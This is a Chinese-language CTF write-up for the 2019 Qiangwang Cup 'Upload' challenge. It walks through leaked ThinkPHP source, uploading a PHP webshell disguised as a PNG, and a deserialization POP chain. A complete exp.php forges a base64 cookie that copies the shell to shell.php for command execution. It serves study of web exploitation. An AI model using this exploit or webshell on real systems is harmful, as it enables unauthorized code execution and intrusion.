[强网杯 2019]Upload
考点:1、文件上传 2、php反序列化攻击
进到页面里,存在注册功能,所以就不尝试先不尝试sql注入,先注册一个账号登陆进去
进去之后有一个上传文件功能,尝试上传文件,经过简单测试发现没有对内容进行严格的过滤,可以传进去一句话木马,但是发现最后的文件名是给定的,所以没有办法上传任意格式的文件。
在测试过程中发生了报错,发现是ThinkPHP V5.1.35 LTS
,一般这种题都会有源码泄露,就简单尝试了下www.zip、web.zip
,无果后就拿字典跑了一下,跑出来www.tar.gz
源码泄露
然后直接查看源码application/web/controller/*.php
,这里看了其他大佬的解法,因为存在.idea
文件,所以使用PhpStrom
打开源码文件,可以直接查看到断点hint
hint
代码如下:
Index.php
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}
Register.php
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
通过断点hint
,我们很容易发现这里应该是要利用反序列化攻击,我们尝试逆向溯源的方法来构造pop链,通过查找魔术方法,我们很容以就能找到Profile.php
中的魔术方法
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
通过Index.php
的断点hint
我们可以知道,在登录的时候,会在Cookie
里获取user
字段并且进行base解码
后反序列化
,然后因为这题考的是upload
所以我们去审计以下上传文件的代码
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
我们发现如果不进入第二个if
即if(!empty($_FILES))
的话,我们可以通过自定义参数进行再次对已经上传的文件进行复制操作,并且文件的名字我们可以自己定义。所以我们就可以写出以下的exp
,具体实现原理请自行审计exp。
构造出的链子:
namespace app\web\controller
Register::__destruct => Profile::__call => Profile::__get => Profile::__call => Profile::upload_img
exp.php:
<?php
namespace app\web\controller;
class Register
{
public $checker;
public $registed;
public function __construct()
{
$this->registed = false;
$this->checker = new Profile();
}
}
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $ext;
public $except;
public function __construct()
{
$this->except = ["index"=>"upload_img"];
$this->filename_tmp = "./upload/0257760365ebfba938de33cd01f34156/f1af272d318a2aef209ce13f004a74f1.png";
$this->filename = './upload/shell.php';
$this->ext = "png";
$this->checker = 0;
}
}
$o = new Register();
echo base64_encode(serialize($o));
将生成的字符串传入Cookie
中登录,直接访问/upload/shell.php
就可以进行命令执行了,cat /flag
获得flag